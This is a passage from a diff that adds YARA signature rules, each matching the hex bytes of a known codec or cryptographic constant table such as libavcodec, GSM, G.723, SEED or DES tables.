0b02a000000000000e02b00000000000050290000000000003028000000000000802d000000000000f02c000000000000402e000000000000202f0000000000009071000000000000b07000000000000000720000000000006073000000000000d076000000000000a07700000000000010750000000000007074000000000000c07f000000000000907e000000000000207c000000000000407d000000000000f0780000000000008079000000000000307b000000000000507a000000000000e06d000000000000f06c000000000000406e000000000000206f000000000000906a000000000000e06b000000000000506900000000000030680000000000008063000000000000d06200000000000060600000000000000061000000000000b064000000000000c06500000000000070670000000000001066000000000000a0490000000000003048000000000000804a000000000000e04b000000000000504e000000000000204f000000000000904d000000000000f04c00000000000040470000000000001046000000000000a044000000000000c04500000000000070400000000000000041000000000000b043000000000000d04200000000000060550000000000007054000000000000c056000000000000a05700000000000010520000000000006053000000000000d051000000000000b050000000000000005b000000000000505a000000000000e0580000000000008059000000000000305c000000000000405d000000000000f05f000000000000905e00000000000020e3000000000000d0e200000000000060e000000000000000e1000000000000b0e4000000000000c0e500000000000070e700000000000010e6000000000000a0ed000000000000f0ec00000000000040ee00000000000020ef00000000000090ea000000000000e0eb00000000000050e900000000000030e800000000000080ff00000000000090fe00000000000020fc00000000000040fd000000000000f0f800000000000080f900000000000030fb00000000000050fa000000000000e0f1000000000000b0f000000000000000f200000000000060f3000000000000d0f6000000000000a0f700000000000010f500000000000070f4000000000000c0db00000000000050da000000000000e0d800000000000080d900000000000030dc00000000000040dd000000000000f0df00000000000090de00000000000020d500000000000070d4000000000000c0d6000000000000a0d700000000000010d200000000000060d3000000000000d0d1000000000000b0d000000000000000c700000000000010c6000000000000a0c4000000000000c0c500000000000070c000000000000000c1000000000000b0c3000000000000d0c200000000000060c900000000000030c800000000000080ca000000000000e0cb00000000000050ce00000000000020cf00000000000090cd000000000000f0cc00000000000040920000000000006093000000000000d091000000000000b09000000000000000950000000000007094000000000000c096000000000000a097000000000000109c000000000000409d000000000000f09f000000000000909e000000000000209b000000000000509a000000000000e0980000000000008099000000000000308e000000000000208f000000000000908d000000000000f08c00000000000040890000000000003088000000000000808a000000000000e08b00000000000050800000000000000081000000000000b083000000000000d08200000000000060870000000000001086000000000000a084000000000000c08500000000000070aa000000000000e0ab00000000000050a900000000000030a800000000000080ad000000000000f0ac00000000000040ae00000000000020af00000000000090a4000000000000c0a500000000000070a700000000000010a6000000000000a0a3000000000000d0a200000000000060a000000000000000a1000000000000b0b6000000000000a0b700000000000010b500000000000070b4000000000000c0b1000000000000b0b000000000000000b200000000000060b3000000000000d0b800000000000080b900000000000030bb00000000000050ba000000000000e0bf00000000000090be00000000000020bc00000000000040bd000000000000f0 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_A__16_big_16_
+{
+strings:
+	$a0 = { 5000500050005000368c3c002156234c }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS2__32_big_1024_
+{
+strings:
+	$a0 = { a1a8298981840585d2d416c6d3d013c350541444111c1d0da0ac2c8c21242505515c1d4d4340034310181808121c1e0e51501141f0fc3cccc2c80aca63602343202828084044044420202000919c1d8de0e020c0e2e022c2c0c808c813141707a1a42585838c0f8f0300030373783b4bb3b83b8b13101303d2d012c2e2ec2ece70703040808c0c8c333c3f0fa0a8288832303202d1dc1dcdf2f436c670743444e0ec2ccc9194158503080b0b53541747505c1c4c53581b4bb1bc3d8d0100010120242404101c1c0c737033439098188810101000c0cc0cccf2f032c2d1d819c9202c2c0ce3e427c7727032428380038393981b8bd1d011c182840686c1c809c96060204050501040a3a02383e3e82bcb010c0d0db2b43686929c1e8e434c0f4fb3b4378752581a4ac2c406c670783848a2a4268612101202a3ac2f8fd1d415c561602141c3c003c3b0b434844140014152501242717c3d4d818c0d8d00080808131c1f0f9198198900000000111819090004040453501343f3f437c7e1e021c1f1fc3dcd72743646232c2f0f23242707b0b0308083880b8b020c0e0ea3a82b8ba2a02282626c2e4e93901383414c0d4d61682949707c3c4c0108090902080a0ab3bc3f8fe3ec2fcff3f033c3c1c405c58384078710141404f2fc3ece60642444d2dc1ece222c2e0e43480b4b12181a0a020406062120210163682b4b6264264602000202f1f435c59290128282880a8a000c0c0cb3b03383727c3e4ed0d010c072783a4a4344074792941686e1e425c52224260680800080a1ac2d8dd3dc1fcfa1a021813030300033343707a2ac2e8e32343606111415052220220230383808f0f434c4a3a4278741440545404c0c4c81800181e1e829c9808404849394178731343505c3c80bcbc2cc0ece303c3c0c7170314111101101c3c407c78188098971743545f3f83bcbd2d81acaf0f838c8909414845158194982800282c0c404c4f3fc3fcf414809493138390963642747c0c000c0c3cc0fcfd3d417c7b0b83888030c0f0f828c0e8e424002422320230391901181606c2c4cd3d81bcba0a4248430343404f1f031c140480848c2c002c2636c2f4f313c3d0d212c2d0d40400040b2bc3e8e323c3e0eb0bc3c8cc1c001c1a2a82a8ab2b83a8a424c0e4e5154154533383b0bd0dc1ccc60682848737c3f4f909c1c8cd0d818c842480a4a5254164673743747a0a02080e1ec2dcd42440646b1b4358523282b0b61642545f2f83acae3e023c3b1b83989b1b03181939c1f8f525c1e4ef1f839c9e2e426c6b2b0328231303101e2e82aca616c2d4d535c1f4fe0e424c4f0f030c0c1cc0dcd808808881214160632383a0a50581848d0d414c462602242212829090304070733303303e0e828c813181b0b01040505717839499090108062682a4a22282a0a92981a8a }
+
+condition:
+	$a0
+}
+
+	
+rule phi_init_freq__32_big_908_
+{
+strings:
+	$a0 = { 00000052000000480000002e0000002e000000390000003b0000004b0000004c0000036100000052000000590000004e0000005b000000400000005c0000007e0000006d00000097000000db000000e10000012f0000016d000001860000018100000195000001a2000001a6000001a7000001c4000001880000017a00000126000000ea000000d00000005e000000a80000002b00000021000000340000004700000056000000890000008a000000bb000000dc000001080000015e00000191000002290000021e0000022d00000256000001e00000017c0000015f0000014100000128000004c300000187000000ad0000004900000032000000200000001d0000003a000000c0000000e500000169000001e8000005de0000042a000004310000037a000002de00000256000001a5000000df0000006a00000049000000300000004200000090000001350000020f000002860000033f0000045e0000050500000726000002560000014a000000af0000006a000000220000004d000000c700000228000003520000086b0000069c00000489000002a00000014c000000b1000000450000002a000000090000000f000000360000008300000129000002a200000468000006fa0000092d000003bb000001a0000000960000003000000036000000a00000012d00000243000003b9000008d7000007000000044f000001f7000000ce0000004a000000170000001c00000040000000bf000001d0000003750000058c000007c9000008a200000227000000980000003400000041000000b400000286000009a7000008bb00000571000002b3000000e70000006000000055000000df000002b500000629000009020000099e000002090000008c0000002a000001190000034900000b52000009100000048d00000176000000560000007e000001d1000004ed0000099800000ad7000002b7000000e40000004e0000023f00000b82000009ee000004e2000001d200000095000000280000010c00000441000009bb00000beb00000340000000c6000000260000006e0000029300000bbc000009c0000004a2000001c300000064000001330000047d000009f500000bde0000031a000000a800000065000002fb00000e62000009d00000030e000000a5000000040000006c000003d400000b1900000d4f000002770000002300000026000002c200000eed00000b050000024d0000001e000000390000035100000c2a00000d98000001f400000005 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_lo_filter__flt64___64_lil_120_
+{
+strings:
+	$a0 = { d6e1b6a77c7054bf2e2fa09e957064bfa886c8ac88e1813f01a99ee3db6f943f79c9ffe4efdea9bffdaca6a96ddcbebf2c97953f42c1d23f90460dbffe98e63f2c97953f42c1d23ffdaca6a96ddcbebf79c9ffe4efdea9bf01a99ee3db6f943fa886c8ac88e1813f2e2fa09e957064bfd6e1b6a77c7054bf }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__fitab__16_big_64_
+{
+strings:
+	$a0 = { 00000000000000000000020002000200020002000400060008000a000c000c000c000c000a000800060004000200020002000200020000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_exp_tab__flt64___64_lil_256_
+{
+strings:
+	$a0 = { 4c017de3ea4e273f1143200f6cb9343f537810bf426d423ffca9f1d24d62503f9f415c9ca5225d3fd653e812c7e7693f6796d46e9308773f7b14ae47e17a843f04a9b981a735923f6634d16bdc30a03f01bc894ab8caac3f9a9999999999b93f4513286211c3c63f7f81c586133dd43f8115962eb3fee13f000000000000f03f1618b2bad573fc3fdfe17668584c0940e19a3bfa5f7e164000000000000024400e4faf9465c83140569a94826e9f3f409981caf8f71d4c400000000000005940d122dbf97e3a664076e09c11a5c3734000917efbba9281400000000000408f4085eb51b81ec99b40931804568eb4a8403f355eba69f7b540000000000088c340 }
+
+condition:
+	$a0
+}
+
+	
+rule libntlm_DES_weak_keys_chksum__8_byt_20_
+{
+strings:
+	$a0 = { d0cf073893708a837dd78a3665296c1f7c3fd341 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq2__16_big_512_
+{
+strings:
+	$a0 = { 00ff0125038800db009704bb05a701f201d600fd061700b1060b03e2095a00f2005b032d0359024e03a6052e0761011a032d01d8042105d601c20cf308730767021a0214057700da0092061006db0272033600ca0513029702c206c40a60019101a202e902fa040e024706d406d20505020f04910522033e022c0844043109110129023a03d5019301d4044f06cc00f302d500b304e701da055e055207820390011d03b303a202bc0251055c07750240024c03940456045c00e00a9f066108ac01920208042501c00192054805db03070298024d043902d70321089e0875048502360322038f045c013206a707000344028f03e70425040e012a0829045606d90169013703ca00ef010904cf05d7023d0236010606210125053d047808df022000d6036d034f02cf031a05680813011202bf02b0044b051a01870b8307e8068601d7020d04dd0122010806150620032702ce018f04a902ad0373063a0aa902fc01f402f203290454021d067005f30569026604ac04b9034f015908c205a206d300c70230044400c2015d04e5067501fb02710162056001af04a305b908740368016803ce03f002ba02c00542084201c402d0033004d8044101b709ab05da07f8015002ce04bd00bb01c305aa0558037502500242046b0213035d073f06e405dc01bc03ca03a7038701a806970661044e031903810424038100b907db04b5073f }
+
+condition:
+	$a0
+}
+
+	
+rule celptb1__32_lil_1536_
+{
+strings:
+	$a0 = { 9a0000009c00000017000000080000000200000086000000aa000000ac00000017000000080000000200000096000000ba000000bc000000170000000800000002000000a600000093000000950000001700000008000000020000007f0000009c0000009e00000017000000080000000200000088000000a5000000a70000001700000008000000020000009100000072000000740000001700000008000000020000005e000000780000007a000000170000000800000002000000640000007e000000800000001700000008000000020000006a0000008400000086000000170000000800000002000000700000008a0000008c000000170000000800000002000000760000008e000000900000001700000008000000020000007a00000092000000940000001700000008000000020000007e0000009a0000009c00000017000000080000000200000086000000a6000000a800000017000000080000000200000092000000ae000000b00000001700000008000000020000009a000000b6000000b8000000170000000800000002000000a2000000be000000c0000000170000000800000002000000aa000000c6000000c8000000170000000800000002000000b2000000ce000000d0000000170000000800000002000000ba000000d2000000d4000000170000000800000002000000be000000d6000000d8000000170000000800000002000000c20000006e000000700000001700000008000000020000005a00000072000000740000001700000008000000020000005e000000760000007800000017000000080000000200000062000000780000007a000000170000000800000002000000640000007a0000007c00000017000000080000000200000066000000ba000000bc000000170000000800000002000000a6000000da000000dc000000280000000800000002000000ae000000e6000000e8000000280000000800000002000000ba000000f2000000f4000000280000000800000002000000c6000000fe00000000010000280000000800000002000000d20000000a0100000c010000280000000800000002000000de0000001601000018010000280000000800000002000000ea0000001e01000020010000280000000800000002000000f20000002601000028010000280000000800000002000000fa0000003e010000400100002800000008000000020000001401000056010000580100002800000008000000020000002a01000066010000680100002800000008000000020000003a01000076010000780100002800000008000000020000004a01000086010000880100002800000008000000020000005a01000096010000980100002800000008000000020000006a010000a6010000a80100002800000008000000020000007a010000880000008a0000002800000008000000020000005c0000008e00000090000000280000000800000002000000620000009400000096000000280000000800000002000000680000009a0000009c0000002800000008000000020000006e000000a0000000a200000028000000080000000200000074000000a6000000a80000002800000008000000020000007a000000aa000000ac0000002800000008000000020000007e000000ae000000b000000028000000080000000200000082000000ba000000bc0000002800000008000000020000008e000000c6000000c80000002800000008000000020000009a000000ce000000d0000000280000000800000002000000a2000000d6000000d8000000280000000800000002000000aa000000de000000e0000000280000000800000002000000b2000000e6000000e8000000280000000800000002000000ba000000ee000000f0000000280000000800000002000000c2000000d8000000da000000280000000800000002000000ac000000a0000000a200000028000000080000000200000074000000180100001a010000280000000800000002000000ee000000520100005401000028000000080000000200000028010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_inverse_table__32_lil_1024_
+{
+strings:
+	$a0 = { 00000000ffffffff00000080565555550000004034333333abaaaa2a25499224000000201dc7711c9a99991975d1451756555515143bb113932449121211111100000010100f0f0f8fe3380e5f43790dcdcccc0c0dc3300cbbe8a20b2d64210babaaaa0aa4703d0a8a9dd8095f427b094a922409b1dcd3088988880885104208000000087df0c1078887870708755007c8711c07463eeb06b0a1bc06076990066766660664703e0687611806d117f4055e74d105065bb00517b290050b627205565555052a78390552b81e0506050505c54eec043f87d40430a1bd044b90a7042549920420c17d0459ee690498c7560445444404545c3204430821040541100400000004043ff0033ff8e0033626d203c4c3c3030fccb503843aa803d20a9b03e4388e03e1c08103239f750337d06903d8505e03ed1d530384344803d3913d03343333032016290332381f0322971503c4300c0304030303e90bfa029149f1022fbae8020c5ce002832dd802032dd0020c59c8022db0c0020631b90247dab102abaaaa02fea0a30215bc9c02d5fa9502295c8f020ddf88028382820298457c026327760203277002a0436a026a7c640298d05e026a3f590226c85302186a4e0293244902f1f6430290e03e02d6e039022df7340203233002cc632b0203b9260223222202ae9e1d022a2e190222d0140222841002bb490c02832008021108040200000002f107fc01821ff8015a46f401207cf0017cc0ec011b13e901ad73e501e2e1e1016f5dde0108e6da01667bd701421dd40159cbd0016985cd01314bca01721cc701f1f8c30171e0c001b9d2bd0192cfba01c4d6b7011ce8b4016503b2016c28af010257ac01f78ea9011bd0a601421aa401406da101eac89e01152d9c019a999901500e9701108b9401b50f9201199c8f0119308d0191cb8a01606e88016218860178c983018281810160407f01f5057d0121d27a01c9a47801cf7d7601185d740188427201062e7001771f6e01c2166c01ce136a0182166801c71e6601862c6401a83f620117586001bc755e0183985c0157c05a0124ed5801d41e570156555501959053017fd05101021550010b5e4e0189ab4c016bfd4a019f53490115ae4701bd0c4601876f440163d642014241410114b03f01cc223e015b993c01b2133b01c391390182133801e0983601d021350146ae3301353e320191d130014c682f015d022e01b59f2c014b402b0113e42901028b28010c35270128e225014a9224016845230179fb210171b4200148701f01f42e1e016bf01c01a5b41b01977b1a01394519018211180169e01601e6b11501f1851401825c13018f3512011211110102ef0f0157cf0e010bb20d0115970c016f7e0b0111680a01f45309011142080161320701de24060180190501421004011c0903010904020102010101 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_sample_table__flt32___32_lil_1280_
+{
+strings:
+	$a0 = { 0ad7233cd6b972bb6f1203bb398ee3bb8962f1baabaa2a3d0000000000000000abaaaabc88454abc0000003e4992643d2273073da2bc86bc28b01fbc0000203e0000803d26b4173dcdccccbbd6b972bb26644c3e0000a03d2fa13d3d09f2143b2787b03acdcc4c3e0000803d26b4173dabaaaa3cd6b9f23b52df593e398e633d05d9063dabaaaa3c88454a3cd49b5e3e7cf0413da6dae53ce4380e3d478fa83cd49b5e3ee4380e3d478fa83c7cf0413da6dae53c52df593eabaaaa3c88454a3c398e633d05d9063dcdcc4c3eabaaaa3cd6b9f23b0000803d26b4173d26644c3e09f2143b2787b03a0000a03d2fa13d3d0000203ecdccccbbd6b972bb0000803d26b4173d0000003ea2bc86bc28b01fbc4992643d2273073dabaa2a3dabaaaabc88454abc00000000000000000ad7233c398ee3bb8962f1bad6b972bb6f1203bb0ad7a33b0ad7a3bccdcc4c3cca269bbe6f12033b5555d53d0ad7233dcdccccbc8988083d0ad7a3bc0000003e0ad7233ca10e6a3ccdcc4cbd0ad7a3bc0000203e0ad723ba2e7401ba0ad723ba2e7401ba0000203e0ad723ba2e7401ba0ad723ba2e7401ba0000003ecdcc4cbd0ad7a3bc0ad7233ca10e6a3c5555d53d8988083d0ad7a3bc0ad7233dcdccccbc0ad7a33bca269bbe6f12033b0ad7a3bccdcc4c3c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002549123e0000003ea10eeabc254912bdabaaaa3c8c2e3a3ef1f0703d8988083d414cae3c0ad7233c8c2e3a3e414cae3c0ad7233cf1f0703d8988083d2549123e254912bdabaaaa3c0000003ea10eeabc0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correction__32_big_8188_
+{
+strings:
+	$a0 = { 0000000000000202fffffdfe000002fffffffd01ffffff03000000fd00000404fffffbfc00000501fffffaff00000105fffffefb000003fcfffffc04000005fefffffa02fffffe06000001fa00000904fffff6fc00000409fffffbf700000909fffff6f700000a01fffff5ff0000010afffffef6000007fbfffff805fffffb08000004f800000f09fffff0f70000090ffffff6f100000bfdfffff403fffffd0c000002f400001004ffffeffc00000410fffffbf000001010ffffeff000001200ffffee0000000012ffffffee00000bf4fffff40c00000ff7fffff009fffff710000008f000001b0bffffe4f500000b1bfffff4e500001c13ffffe3ed0000131cffffece4000015faffffea06fffffa16000005ea00001d04ffffe2fc0000041dfffffbe300001e1effffe1e2000020feffffdf02fffffe21000001df000016eeffffe912ffffee17000011e900001df1ffffe20ffffff11e00000ee200002e16ffffd1ea0000162effffe9d200002f0dffffd0f300000d2ffffff2d100003123ffffcedd00002331ffffdccf000028f5ffffd70bfffff52900000ad700003304ffffccfc00000433fffffbcd00003636ffffc9ca000021deffffde22000029e3ffffd61dffffe32a00001cd600003bfaffffc406fffffa3c000005c400004c1bffffb3e500001b4cffffe4b400004d2bffffb2d500002b4dffffd4b3000036e8ffffc918ffffe837000017c900004f0effffb0f200000e4ffffff1b10000533fffffacc100003f53ffffc0ad000049ecffffb614ffffec4a000013b600005802ffffa7fe00000258fffffda800005d5dffffa2a300003cccffffc334ffffcc3d000033c300007834ffff87cc00003478ffffcb8800004ad3ffffb52dffffd34b00002cb500007d4bffff82b500004b7dffffb48300007a21ffff85df0000217affffde86000066f3ffff990dfffff36700000c9900005fd8ffffa028ffffd860000027a000007edeffff8122ffffde7f00002181000058a7ffffa759000068b2ffff974effffb26900004d9700000c0cfffff3f400001717ffffe8e900002a2affffd5d600004949ffffb6b70000000002020000fdfe000002ff0000fd010000ff03000000fd00000000020202020202fdfe020202ff0202fd010202ff03020200fd0202fffffdfe0201fdfefdfdfdfe02fefdfefd00fdfeff02fdfe00fcfdfe000002ff020202fffdfe02ff02ff02fffd0102ffff0302ff00fd02fffffffd010201fd01fdfdfd0102fefd01fd00fd01ff02fd0100fcfd01ffffff030201ff03fdfdff0302feff03fd00ff03ff02ff0300fcff03000000fd020200fdfdfe00fd02ff00fdfd0100fdff0300fd00fd00fd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000303fffffcfd000003fffffffc01ffffff04000000fc00000707fffff8f900000802fffff7fe00000208fffffdf8000008fefffff702fffffe09000001f7000005fafffffa0600000d06fffff2fa0000060dfffff9f300000d0dfffff2f300000e01fffff1ff0000010efffffef200000bf8fffff408fffff80c000007f40000170effffe8f200000e17fffff1e9000011fbffffee05fffffb12000004ee00001806ffffe7fa00000618fffff9e800001818ffffe7e800001affffffe501ffffff1b000000e5000010efffffef11000016f3ffffe90dfffff31700000ce900002810ffffd7f000001028ffffefd80000291cffffd6e400001c29ffffe3d7000020f7ffffdf09fffff721000008df00002b06ffffd4fa0000062bfffff9d500002e2effffd1d2000031fcffffce04fffffc32000003ce000021e5ffffde1bffffe52200001ade00002ceaffffd316ffffea2d000015d300004522ffffbade00002245ffffddbb00004613ffffb9ed00001346ffffecba00004935ffffb6cb00003549ffffcab700003defffffc211ffffef3e000010c200004d05ffffb2fb0000054dfffffab300005252ffffadae000032cdffffcd3300003fd5ffffc02bffffd54000002ac0000059f6ffffa60afffff65a000009a600007229ffff8dd700002972ffffd68e00007440ffff8bc000004074ffffbf8c000051dbffffae25ffffdb52000024ae00007716ffff88ea00001677ffffe98900007c5fffff83a100005f7cffffa08400006ee2ffff911effffe26f00001d9100005bb2ffffa44effffb25c00004da4000070bcffff8f44ffffbc710000438f00001212ffffedee00002222ffffddde00003f3fffffc0c100006d6dffff92930000000003030000fcfd000003ff0000fc010000ff04000000fc000007070000f8f900000000030303030303fcfd030303ff0303fc010303ff04030300fc030307070303f8f90303fffffcfd0302fcfdfcfcfcfd03fefcfdfc00fcfdff03fcfd00fbfcfd0706fcfdf8f8fcfd000003ff030303fffcfd03ff03ff03fffc0103ffff0403ff00fc03ff070703fff8f903fffffffc010302fc01fcfcfc0103fefc01fc00fc01ff03fc0100fbfc010706fc01f8f8fc01ffffff040302ff04fcfcff0403feff04fc00ff04ff03ff0400fbff040706ff04f8f8ff04000000fc030300fcfcfd00fc03ff00fcfc0100fcff0400fc00fc00fc070700fcf8f900fc0000070703030707fcfd070703ff0707fc010707ff04070700fc070707070707f8f90707fffff8f90302f8f9fcfcf8f903fef8f9fc00f8f9ff03f8f900fbf8f90706f8f9f8f8f8f9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000404fffffbfc000004fffffffb01ffffff05000000fb00000a03fffff5fd0000030afffffcf600000909fffff6f7000006f9fffff90700000bfdfffff403fffffd0c000002f400001108ffffeef800000811fffff7ef00001111ffffeeef00001301ffffecff00000113fffffeed00000ff5fffff00bfffff51000000af0000016faffffe906fffffa17000005e900001f12ffffe0ee0000121fffffede100002008ffffdff800000820fffff7e000002121ffffdedf000023ffffffdc01ffffff24000000dc000016e9ffffe91700001eefffffe111ffffef1f000010e100003615ffffc9eb00001536ffffeaca00003725ffffc8db00002537ffffdac900002bf4ffffd40cfffff42c00000bd400003908ffffc6f800000839fffff7c700003d3dffffc2c3000041fbffffbe05fffffb42000004be00002cdcffffd324ffffdc2d000023d300003be3ffffc41dffffe33c00001cc400005c2dffffa3d300002d5cffffd2a400005d19ffffa2e70000195dffffe6a300006147ffff9eb900004761ffffb89f000052eaffffad16ffffea53000015ad00006607ffff99f900000766fffff89a00006d6dffff9293000043bcffffbc44000054c7ffffab39ffffc755000038ab000077f3ffff880dfffff37800000c8800006dcfffff9231ffffcf6e0000309200007a98ffff8568ffff987b0000678500001818ffffe7e800002e2effffd1d200005454ffffabac0000000004040000fbfc000004ff0000fb010000ff05000000fb00000a030000f5fd0000030a00000000040404040404fbfc040404ff0404fb010404ff05040400fb04040a030404f5fd0404030a0404fffffbfc0403fbfcfbfbfbfc04fefbfcfb00fbfcff04fbfc00fafbfc0a02fbfcf5fcfbfc0309fbfc000004ff040404fffbfc04ff04ff04fffb0104ffff0504ff00fb04ff0a0304fff5fd04ff030a04fffffffb010403fb01fbfbfb0104fefb01fb00fb01ff04fb0100fafb010a02fb01f5fcfb010309fb01ffffff050403ff05fbfbff0504feff05fb00ff05ff04ff0500faff050a02ff05f5fcff050309ff05000000fb040400fbfbfc00fb04ff00fbfb0100fbff0500fb00fb00fb0a0300fbf5fd00fb030a00fb00000a0304040a03fbfc0a0304ff0a03fb010a03ff050a0300fb0a030a030a03f5fd0a03030a0a03fffff5fd0403f5fdfbfbf5fd04fef5fdfb00f5fdff04f5fd00faf5fd0a02f5fdf5fcf5fd0309f5fd0000030a0404030afbfc030a04ff030afb01030aff05030a00fb030a0a03030af5fd030a030a030a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000505fffffafb000006fefffff902fffffe07000001f900000b0bfffff4f500000d03fffff2fd0000030dfffffcf3000008f7fffff70900000efcfffff104fffffc0f000003f10000160bffffe9f500000b16fffff4ea00001515ffffeaeb00001802ffffe7fe00000218fffffde8000013f2ffffec0efffff21400000dec00002617ffffd9e900001726ffffe8da00001cf8ffffe308fffff81d000007e30000270bffffd8f500000b27fffff4d900002929ffffd6d700002cffffffd301ffffff2d000000d300001ce3ffffe31d000026eaffffd916ffffea27000015d90000431bffffbce500001b43ffffe4bd0000452fffffbad100002f45ffffd0bb000037f1ffffc80ffffff13800000ec80000470bffffb8f500000b47fffff4b900004c4cffffb3b4000052faffffad06fffffa53000005ad000038d3ffffc72dffffd33900002cc700004adcffffb524ffffdc4b000023b500007338ffff8cc800003873ffffc78d0000751fffff8ae100001f75ffffe08b00007a58ffff85a80000587affffa786000067e4ffff981cffffe46800001b98000054abffffab55000069b8ffff9648ffffb86a0000479600001e1effffe1e200003a3affffc5c600006969ffff96970000000005050000fafb000006fe0000f9020000fe07000001f900000b0b0000f4f500000d030000f2fd00000000050505050505fafb050506fe0505f9020505fe07050501f905050b0b0505f4f505050d030505f2fd0505fffffafb0504fafbfafafafb06fdfafbf901fafbfe06fafb01f8fafb0b0afafbf4f4fafb0d02fafbf2fcfafb000006fe050506fefafb06fe06fe06fef90206fefe0706fe01f906fe0b0b06fef4f506fe0d0306fef2fd06fefffff9020504f902fafaf90206fdf902f901f902fe06f90201f8f9020b0af902f4f4f9020d02f902f2fcf902fffffe070504fe07fafafe0706fdfe07f901fe07fe06fe0701f8fe070b0afe07f4f4fe070d02fe07f2fcfe07000001f9050501f9fafb01f906fe01f9f90201f9fe0701f901f901f90b0b01f9f4f501f90d0301f9f2fd01f900000b0b05050b0bfafb0b0b06fe0b0bf9020b0bfe070b0b01f90b0b0b0b0b0bf4f50b0b0d030b0bf2fd0b0bfffff4f50504f4f5fafaf4f506fdf4f5f901f4f5fe06f4f501f8f4f50b0af4f5f4f4f4f50d02f4f5f2fcf4f500000d0305050d03fafb0d0306fe0d03f9020d03fe070d0301f90d030b0b0d03f4f50d030d030d03f2fd0d03fffff2fd0504f2fdfafaf2fd06fdf2fdf901f2fdfe06f2fd01f8f2fd0b0af2fdf4f4f2fd0d02f2fdf2fcf2fd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000606fffff9fa000007fefffff802fffffe08000001f800000d0dfffff2f300000f04fffff0fc0000040ffffffbf100000af5fffff50b000011fbffffee05fffffb12000004ee00001a0dffffe5f300000d1afffff2e600001a1affffe5e600001d02ffffe2fe0000021dfffffde3000017f0ffffe810fffff01800000fe800002e1cffffd1e400001c2effffe3d2000022f7ffffdd09fffff723000008dd00002f0dffffd0f300000d2ffffff2d100003131ffffcecf000035ffffffca01ffffff36000000ca000022ddffffdd2300002ee6ffffd11affffe62f000019d100005120ffffaee000002051ffffdfaf00005338ffffacc800003853ffffc7ad000042eeffffbd12ffffee43000011bd0000560dffffa9f300000d56fffff2aa00005b5bffffa4a5000062f9ffff9d07fffff9630000069d000043caffffbc36ffffca44000035bc000059d4ffffa62cffffd45a00002ba600007bdfffff8421ffffdf7c0000208400006699ffff996700007eaaffff8156ffffaa7f0000558100002525ffffdadb00004545ffffbabb0000000006060000f9fa000007fe0000f8020000fe08000001f800000d0d0000f2f300000f040000f0fc0000040f00000000060606060606f9fa060607fe0606f8020606fe08060601f806060d0d0606f2f306060f040606f0fc0606040f0606fffff9fa0605f9faf9f9f9fa07fdf9faf801f9fafe07f9fa01f7f9fa0d0cf9faf2f2f9fa0f03f9faf0fbf9fa040ef9fa000007fe060607fef9fa07fe07fe07fef80207fefe0807fe01f807fe0d0d07fef2f307fe0f0407fef0fc07fe040f07fefffff8020605f802f9f9f80207fdf802f801f802fe07f80201f7f8020d0cf802f2f2f8020f03f802f0fbf802040ef802fffffe080605fe08f9f9fe0807fdfe08f801fe08fe07fe0801f7fe080d0cfe08f2f2fe080f03fe08f0fbfe08040efe08000001f8060601f8f9fa01f807fe01f8f80201f8fe0801f801f801f80d0d01f8f2f301f80f0401f8f0fc01f8040f01f800000d0d06060d0df9fa0d0d07fe0d0df8020d0dfe080d0d01f80d0d0d0d0d0df2f30d0d0f040d0df0fc0d0d040f0d0dfffff2f30605f2f3f9f9f2f307fdf2f3f801f2f3fe07f2f301f7f2f30d0cf2f3f2f2f2f30f03f2f3f0fbf2f3040ef2f300000f0406060f04f9fa0f0407fe0f04f8020f04fe080f0401f80f040d0d0f04f2f30f040f040f04f0fc0f04040f0f04fffff0fc0605f0fcf9f9f0fc07fdf0fcf801f0fcfe07f0fc01f7f0fc0d0cf0fcf2f2f0fc0f03f0fcf0fbf0fc040ef0fc0000040f0606040ff9fa040f07fe040ff802040ffe08040f01f8040f0d0d040ff2f3040f0f04040ff0fc040f040f040f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000707fffff8f9000009fdfffff603fffffd0a000002f600001010ffffeff000001205ffffedfb00000512fffffaee00000cf3fffff30d000014faffffeb06fffffa15000005eb00001e0fffffe1f100000f1efffff0e200001e1effffe1e200002202ffffddfe00000222fffffdde00001bedffffe413ffffed1c000012e400003620ffffc9e000002036ffffdfca000028f5ffffd70bfffff52900000ad70000370fffffc8f100000f37fffff0c900003939ffffc6c700003effffffc101ffffff3f000000c1000027d8ffffd828000036e2ffffc91effffe23700001dc900005e25ffffa1db0000255effffdaa200006041ffff9fbf00004160ffffbea000004debffffb215ffffeb4e000014b20000640fffff9bf100000f64fffff09c00006a6affff9596000073f8ffff8c08fffff8740000078c00004ec1ffffb13fffffc14f00003eb1000068cdffff9733ffffcd690000329700007788ffff887800002b2bffffd4d500005050ffff